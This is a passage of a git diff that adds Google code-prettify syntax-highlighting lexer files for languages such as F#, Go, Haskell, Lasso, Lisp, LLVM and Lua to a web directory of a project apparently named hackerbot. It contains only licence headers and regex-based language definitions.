+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\x0B\x0C\r ]+/,null,"\t\n\x0B\f\r "],["str",/^\"(?:[^\"\\\n\x0C\r]|\\[\s\S])*(?:\"|$)/,null,'"'],["lit",/^[a-z][a-zA-Z0-9_]*/],["lit",/^\'(?:[^\'\\\n\x0C\r]|\\[^&])+\'?/,null,"'"],["lit",/^\?[^ \t\n({]+/,null,"?"],["lit",/^(?:0o[0-7]+|0x[\da-f]+|\d+(?:\.\d+)?(?:e[+\-]?\d+)?)/i,null,"0123456789"]],[["com",/^%[^\n]*/],["kwd",/^(?:module|attributes|do|let|in|letrec|apply|call|primop|case|of|end|when|fun|try|catch|receive|after|char|integer|float,atom,string,var)\b/],
+["kwd",/^-[a-z_]+/],["typ",/^[A-Z_][a-zA-Z0-9_]*/],["pun",/^[.,;]/]]),["erlang","erl"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-fs.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-fs.js
new file mode 100644
index 000000000..c012a3ff4
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-fs.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2008 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["com",/^#(?:if[\t\n\r \xA0]+(?:[a-z_$][\w\']*|``[^\r\n\t`]*(?:``|$))|else|endif|light)/i,null,"#"],["str",/^(?:\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)|\'(?:[^\'\\]|\\[\s\S])(?:\'|$))/,null,"\"'"]],[["com",/^(?:\/\/[^\r\n]*|\(\*[\s\S]*?\*\))/],["kwd",/^(?:abstract|and|as|assert|begin|class|default|delegate|do|done|downcast|downto|elif|else|end|exception|extern|false|finally|for|fun|function|if|in|inherit|inline|interface|internal|lazy|let|match|member|module|mutable|namespace|new|null|of|open|or|override|private|public|rec|return|static|struct|then|to|true|try|type|upcast|use|val|void|when|while|with|yield|asr|land|lor|lsl|lsr|lxor|mod|sig|atomic|break|checked|component|const|constraint|constructor|continue|eager|event|external|fixed|functor|global|include|method|mixin|object|parallel|process|protected|pure|sealed|trait|virtual|volatile)\b/],
+["lit",/^[+\-]?(?:0x[\da-f]+|(?:(?:\.\d+|\d+(?:\.\d*)?)(?:e[+\-]?\d+)?))/i],["pln",/^(?:[a-z_][\w']*[!?#]?|``[^\r\n\t`]*(?:``|$))/i],["pun",/^[^\t\n\r \xA0\"\'\w]+/]]),["fs","ml"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-go.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-go.js
new file mode 100644
index 000000000..1f6934a4f
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-go.js
@@ -0,0 +1,17 @@
+/*
+
+ Copyright (C) 2010 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["pln",/^(?:\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)|\'(?:[^\'\\]|\\[\s\S])+(?:\'|$)|`[^`]*(?:`|$))/,null,"\"'"]],[["com",/^(?:\/\/[^\r\n]*|\/\*[\s\S]*?\*\/)/],["pln",/^(?:[^\/\"\'`]|\/(?![\/\*]))+/i]]),["go"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-hs.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-hs.js
new file mode 100644
index 000000000..2002221e5
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-hs.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2009 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\x0B\x0C\r ]+/,null,"\t\n\x0B\f\r "],["str",/^\"(?:[^\"\\\n\x0C\r]|\\[\s\S])*(?:\"|$)/,null,'"'],["str",/^\'(?:[^\'\\\n\x0C\r]|\\[^&])\'?/,null,"'"],["lit",/^(?:0o[0-7]+|0x[\da-f]+|\d+(?:\.\d+)?(?:e[+\-]?\d+)?)/i,null,"0123456789"]],[["com",/^(?:(?:--+(?:[^\r\n\x0C]*)?)|(?:\{-(?:[^-]|-+[^-\}])*-\}))/],["kwd",/^(?:case|class|data|default|deriving|do|else|if|import|in|infix|infixl|infixr|instance|let|module|newtype|of|then|type|where|_)(?=[^a-zA-Z0-9\']|$)/,
+null],["pln",/^(?:[A-Z][\w\']*\.)*[a-zA-Z][\w\']*/],["pun",/^[^\t\n\x0B\x0C\r a-zA-Z0-9\'\"]+/]]),["hs"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-lasso.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-lasso.js
new file mode 100644
index 000000000..415ca6777
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-lasso.js
@@ -0,0 +1,19 @@
+/*
+
+ Copyright (C) 2013 Eric Knibbe
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^\'(?:[^\'\\]|\\[\s\S])*(?:\'|$)/,null,"'"],["str",/^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/,null,'"'],["str",/^\`[^\`]*(?:\`|$)/,null,"`"],["lit",/^0x[\da-f]+|\d+/i,null,"0123456789"],["atn",/^#\d+|[#$][a-z_][\w.]*|#![ \S]+lasso9\b/i,null,"#$"]],[["tag",/^[[\]]|<\?(?:lasso(?:script)?|=)|\?>|noprocess\b|no_square_brackets\b/i],["com",/^\/\/[^\r\n]*|\/\*[\s\S]*?\*\//],
+["atn",/^-(?!infinity)[a-z_][\w.]*|\.\s*'[a-z_][\w.]*'/i],["lit",/^\d*\.\d+(?:e[-+]?\d+)?|infinity\b|NaN\b/i],["atv",/^::\s*[a-z_][\w.]*/i],["lit",/^(?:true|false|none|minimal|full|all|void|and|or|not|bw|nbw|ew|new|cn|ncn|lt|lte|gt|gte|eq|neq|rx|nrx|ft)\b/i],["kwd",/^(?:error_code|error_msg|error_pop|error_push|error_reset|cache|database_names|database_schemanames|database_tablenames|define_tag|define_type|email_batch|encode_set|html_comment|handle|handle_error|header|if|inline|iterate|ljax_target|link|link_currentaction|link_currentgroup|link_currentrecord|link_detail|link_firstgroup|link_firstrecord|link_lastgroup|link_lastrecord|link_nextgroup|link_nextrecord|link_prevgroup|link_prevrecord|log|loop|namespace_using|output_none|portal|private|protect|records|referer|referrer|repeating|resultset|rows|search_args|search_arguments|select|sort_args|sort_arguments|thread_atomic|value_list|while|abort|case|else|if_empty|if_false|if_null|if_true|loop_abort|loop_continue|loop_count|params|params_up|return|return_value|run_children|soap_definetag|soap_lastrequest|soap_lastresponse|tag_name|ascending|average|by|define|descending|do|equals|frozen|group|handle_failure|import|in|into|join|let|match|max|min|on|order|parent|protected|provide|public|require|returnhome|skip|split_thread|sum|take|thread|to|trait|type|where|with|yield|yieldhome)\b/i],
+["typ",/^(?:array|date|decimal|duration|integer|map|pair|string|tag|xml|null|boolean|bytes|keyword|list|locale|queue|set|stack|staticarray|local|var|variable|global|data|self|inherited|currentcapture|givenblock)\b|^\.\.?/i],["pln",/^[a-z_][\w.]*(?:=\s*(?=\())?/i],["pun",/^:=|[-+*\/%=<>&|!?\\]/]]),["lasso","ls","lassoscript"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-lassoscript.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-lassoscript.js
new file mode 100644
index 000000000..415ca6777
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-lassoscript.js
@@ -0,0 +1,19 @@
+/*
+
+ Copyright (C) 2013 Eric Knibbe
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^\'(?:[^\'\\]|\\[\s\S])*(?:\'|$)/,null,"'"],["str",/^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/,null,'"'],["str",/^\`[^\`]*(?:\`|$)/,null,"`"],["lit",/^0x[\da-f]+|\d+/i,null,"0123456789"],["atn",/^#\d+|[#$][a-z_][\w.]*|#![ \S]+lasso9\b/i,null,"#$"]],[["tag",/^[[\]]|<\?(?:lasso(?:script)?|=)|\?>|noprocess\b|no_square_brackets\b/i],["com",/^\/\/[^\r\n]*|\/\*[\s\S]*?\*\//],
+["atn",/^-(?!infinity)[a-z_][\w.]*|\.\s*'[a-z_][\w.]*'/i],["lit",/^\d*\.\d+(?:e[-+]?\d+)?|infinity\b|NaN\b/i],["atv",/^::\s*[a-z_][\w.]*/i],["lit",/^(?:true|false|none|minimal|full|all|void|and|or|not|bw|nbw|ew|new|cn|ncn|lt|lte|gt|gte|eq|neq|rx|nrx|ft)\b/i],["kwd",/^(?:error_code|error_msg|error_pop|error_push|error_reset|cache|database_names|database_schemanames|database_tablenames|define_tag|define_type|email_batch|encode_set|html_comment|handle|handle_error|header|if|inline|iterate|ljax_target|link|link_currentaction|link_currentgroup|link_currentrecord|link_detail|link_firstgroup|link_firstrecord|link_lastgroup|link_lastrecord|link_nextgroup|link_nextrecord|link_prevgroup|link_prevrecord|log|loop|namespace_using|output_none|portal|private|protect|records|referer|referrer|repeating|resultset|rows|search_args|search_arguments|select|sort_args|sort_arguments|thread_atomic|value_list|while|abort|case|else|if_empty|if_false|if_null|if_true|loop_abort|loop_continue|loop_count|params|params_up|return|return_value|run_children|soap_definetag|soap_lastrequest|soap_lastresponse|tag_name|ascending|average|by|define|descending|do|equals|frozen|group|handle_failure|import|in|into|join|let|match|max|min|on|order|parent|protected|provide|public|require|returnhome|skip|split_thread|sum|take|thread|to|trait|type|where|with|yield|yieldhome)\b/i],
+["typ",/^(?:array|date|decimal|duration|integer|map|pair|string|tag|xml|null|boolean|bytes|keyword|list|locale|queue|set|stack|staticarray|local|var|variable|global|data|self|inherited|currentcapture|givenblock)\b|^\.\.?/i],["pln",/^[a-z_][\w.]*(?:=\s*(?=\())?/i],["pun",/^:=|[-+*\/%=<>&|!?\\]/]]),["lasso","ls","lassoscript"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-latex.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-latex.js
new file mode 100644
index 000000000..efc758cd9
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-latex.js
@@ -0,0 +1,17 @@
+/*
+
+ Copyright (C) 2011 Martin S.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["com",/^%[^\r\n]*/,null,"%"]],[["kwd",/^\\[a-zA-Z@]+/],["kwd",/^\\./],["typ",/^[$&]/],["lit",/[+-]?(?:\.\d+|\d+(?:\.\d*)?)(cm|em|ex|in|pc|pt|bp|mm)/i],["pun",/^[{}()\[\]=]+/]]),["latex","tex"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-lgt.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-lgt.js
new file mode 100644
index 000000000..2959d759c
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-lgt.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2014 Paulo Moura
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["str",/^\"(?:[^\"\\\n\x0C\r]|\\[\s\S])*(?:\"|$)/,null,'"'],["lit",/^[a-z][a-zA-Z0-9_]*/],["lit",/^\'(?:[^\'\\\n\x0C\r]|\\[^&])+\'?/,null,"'"],["lit",/^(?:0'.|0b[0-1]+|0o[0-7]+|0x[\da-f]+|\d+(?:\.\d+)?(?:e[+\-]?\d+)?)/i,null,"0123456789"]],[["com",/^%[^\r\n]*/,null,"%"],["com",/^\/\*[\s\S]*?\*\//],["kwd",/^\s*:-\s(c(a(lls|tegory)|oinductive)|p(ublic|r(ot(ocol|ected)|ivate))|e(l(if|se)|n(coding|sure_loaded)|xport)|i(f|n(clude|itialization|fo))|alias|d(ynamic|iscontiguous)|m(eta_(non_terminal|predicate)|od(e|ule)|ultifile)|reexport|s(et_(logtalk|prolog)_flag|ynchronized)|o(bject|p)|use(s|_module))/],
+["kwd",/^\s*:-\s(e(lse|nd(if|_(category|object|protocol)))|built_in|dynamic|synchronized|threaded)/],["typ",/^[A-Z_][a-zA-Z0-9_]*/],["pun",/^[.,;{}:^<>=\\/+*?#!-]/]]),["logtalk","lgt"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-lisp.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-lisp.js
new file mode 100644
index 000000000..2f18c967e
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-lisp.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2008 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["opn",/^\(+/,null,"("],["clo",/^\)+/,null,")"],["com",/^;[^\r\n]*/,null,";"],["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/,null,'"']],[["kwd",/^(?:block|c[ad]+r|catch|con[ds]|def(?:ine|un)|do|eq|eql|equal|equalp|eval-when|flet|format|go|if|labels|lambda|let|load-time-value|locally|macrolet|multiple-value-call|nil|progn|progv|quote|require|return-from|setq|symbol-macrolet|t|tagbody|the|throw|unwind)\b/,
+null],["lit",/^[+\-]?(?:[0#]x[0-9a-f]+|\d+\/\d+|(?:\.\d+|\d+(?:\.\d*)?)(?:[ed][+\-]?\d+)?)/i],["lit",/^\'(?:-*(?:\w|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?)?/],["pln",/^-*(?:[a-z_]|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?/i],["pun",/^[^\w\t\n\r \xA0()\"\\\';]+/]]),"cl el lisp lsp scm ss rkt".split(" "));
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-ll.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-ll.js
new file mode 100644
index 000000000..7604d9625
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-ll.js
@@ -0,0 +1,17 @@
+/*
+
+ Copyright (C) 2013 Nikhil Dabas
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^!?\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/,null,'"'],["com",/^;[^\r\n]*/,null,";"]],[["pln",/^[%@!](?:[-a-zA-Z$._][-a-zA-Z$._0-9]*|\d+)/],["kwd",/^[A-Za-z_][0-9A-Za-z_]*/,null],["lit",/^\d+\.\d+/],["lit",/^(?:\d+|0[xX][a-fA-F0-9]+)/],["pun",/^[()\[\]{},=*<>:]|\.\.\.$/]]),["llvm","ll"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-llvm.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-llvm.js
new file mode 100644
index 000000000..7604d9625
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-llvm.js
@@ -0,0 +1,17 @@
+/*
+
+ Copyright (C) 2013 Nikhil Dabas
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^!?\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/,null,'"'],["com",/^;[^\r\n]*/,null,";"]],[["pln",/^[%@!](?:[-a-zA-Z$._][-a-zA-Z$._0-9]*|\d+)/],["kwd",/^[A-Za-z_][0-9A-Za-z_]*/,null],["lit",/^\d+\.\d+/],["lit",/^(?:\d+|0[xX][a-fA-F0-9]+)/],["pun",/^[()\[\]{},=*<>:]|\.\.\.$/]]),["llvm","ll"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-logtalk.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-logtalk.js
new file mode 100644
index 000000000..2959d759c
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-logtalk.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2014 Paulo Moura
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["str",/^\"(?:[^\"\\\n\x0C\r]|\\[\s\S])*(?:\"|$)/,null,'"'],["lit",/^[a-z][a-zA-Z0-9_]*/],["lit",/^\'(?:[^\'\\\n\x0C\r]|\\[^&])+\'?/,null,"'"],["lit",/^(?:0'.|0b[0-1]+|0o[0-7]+|0x[\da-f]+|\d+(?:\.\d+)?(?:e[+\-]?\d+)?)/i,null,"0123456789"]],[["com",/^%[^\r\n]*/,null,"%"],["com",/^\/\*[\s\S]*?\*\//],["kwd",/^\s*:-\s(c(a(lls|tegory)|oinductive)|p(ublic|r(ot(ocol|ected)|ivate))|e(l(if|se)|n(coding|sure_loaded)|xport)|i(f|n(clude|itialization|fo))|alias|d(ynamic|iscontiguous)|m(eta_(non_terminal|predicate)|od(e|ule)|ultifile)|reexport|s(et_(logtalk|prolog)_flag|ynchronized)|o(bject|p)|use(s|_module))/],
+["kwd",/^\s*:-\s(e(lse|nd(if|_(category|object|protocol)))|built_in|dynamic|synchronized|threaded)/],["typ",/^[A-Z_][a-zA-Z0-9_]*/],["pun",/^[.,;{}:^<>=\\/+*?#!-]/]]),["logtalk","lgt"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-ls.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-ls.js
new file mode 100644
index 000000000..415ca6777
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-ls.js
@@ -0,0 +1,19 @@
+/*
+
+ Copyright (C) 2013 Eric Knibbe
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^\'(?:[^\'\\]|\\[\s\S])*(?:\'|$)/,null,"'"],["str",/^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/,null,'"'],["str",/^\`[^\`]*(?:\`|$)/,null,"`"],["lit",/^0x[\da-f]+|\d+/i,null,"0123456789"],["atn",/^#\d+|[#$][a-z_][\w.]*|#![ \S]+lasso9\b/i,null,"#$"]],[["tag",/^[[\]]|<\?(?:lasso(?:script)?|=)|\?>|noprocess\b|no_square_brackets\b/i],["com",/^\/\/[^\r\n]*|\/\*[\s\S]*?\*\//],
+["atn",/^-(?!infinity)[a-z_][\w.]*|\.\s*'[a-z_][\w.]*'/i],["lit",/^\d*\.\d+(?:e[-+]?\d+)?|infinity\b|NaN\b/i],["atv",/^::\s*[a-z_][\w.]*/i],["lit",/^(?:true|false|none|minimal|full|all|void|and|or|not|bw|nbw|ew|new|cn|ncn|lt|lte|gt|gte|eq|neq|rx|nrx|ft)\b/i],["kwd",/^(?:error_code|error_msg|error_pop|error_push|error_reset|cache|database_names|database_schemanames|database_tablenames|define_tag|define_type|email_batch|encode_set|html_comment|handle|handle_error|header|if|inline|iterate|ljax_target|link|link_currentaction|link_currentgroup|link_currentrecord|link_detail|link_firstgroup|link_firstrecord|link_lastgroup|link_lastrecord|link_nextgroup|link_nextrecord|link_prevgroup|link_prevrecord|log|loop|namespace_using|output_none|portal|private|protect|records|referer|referrer|repeating|resultset|rows|search_args|search_arguments|select|sort_args|sort_arguments|thread_atomic|value_list|while|abort|case|else|if_empty|if_false|if_null|if_true|loop_abort|loop_continue|loop_count|params|params_up|return|return_value|run_children|soap_definetag|soap_lastrequest|soap_lastresponse|tag_name|ascending|average|by|define|descending|do|equals|frozen|group|handle_failure|import|in|into|join|let|match|max|min|on|order|parent|protected|provide|public|require|returnhome|skip|split_thread|sum|take|thread|to|trait|type|where|with|yield|yieldhome)\b/i],
+["typ",/^(?:array|date|decimal|duration|integer|map|pair|string|tag|xml|null|boolean|bytes|keyword|list|locale|queue|set|stack|staticarray|local|var|variable|global|data|self|inherited|currentcapture|givenblock)\b|^\.\.?/i],["pln",/^[a-z_][\w.]*(?:=\s*(?=\())?/i],["pun",/^:=|[-+*\/%=<>&|!?\\]/]]),["lasso","ls","lassoscript"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-lsp.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-lsp.js
new file mode 100644
index 000000000..2f18c967e
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-lsp.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2008 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["opn",/^\(+/,null,"("],["clo",/^\)+/,null,")"],["com",/^;[^\r\n]*/,null,";"],["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/,null,'"']],[["kwd",/^(?:block|c[ad]+r|catch|con[ds]|def(?:ine|un)|do|eq|eql|equal|equalp|eval-when|flet|format|go|if|labels|lambda|let|load-time-value|locally|macrolet|multiple-value-call|nil|progn|progv|quote|require|return-from|setq|symbol-macrolet|t|tagbody|the|throw|unwind)\b/,
+null],["lit",/^[+\-]?(?:[0#]x[0-9a-f]+|\d+\/\d+|(?:\.\d+|\d+(?:\.\d*)?)(?:[ed][+\-]?\d+)?)/i],["lit",/^\'(?:-*(?:\w|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?)?/],["pln",/^-*(?:[a-z_]|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?/i],["pun",/^[^\w\t\n\r \xA0()\"\\\';]+/]]),"cl el lisp lsp scm ss rkt".split(" "));
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-lua.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-lua.js
new file mode 100644
index 000000000..afb2901e4
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-lua.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2008 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^(?:\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)|\'(?:[^\'\\]|\\[\s\S])*(?:\'|$))/,null,"\"'"]],[["com",/^--(?:\[(=*)\[[\s\S]*?(?:\]\1\]|$)|[^\r\n]*)/],["str",/^\[(=*)\[[\s\S]*?(?:\]\1\]|$)/],["kwd",/^(?:and|break|do|else|elseif|end|false|for|function|if|in|local|nil|not|or|repeat|return|then|true|until|while)\b/,null],["lit",/^[+-]?(?:0x[\da-f]+|(?:(?:\.\d+|\d+(?:\.\d*)?)(?:e[+\-]?\d+)?))/i],
+["pln",/^[a-z_]\w*/i],["pun",/^[^\w\t\n\r \xA0][^\w\t\n\r \xA0\"\'\-\+=]*/]]),["lua"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-matlab.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-matlab.js
new file mode 100644
index 000000000..a0522a5a7
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-matlab.js
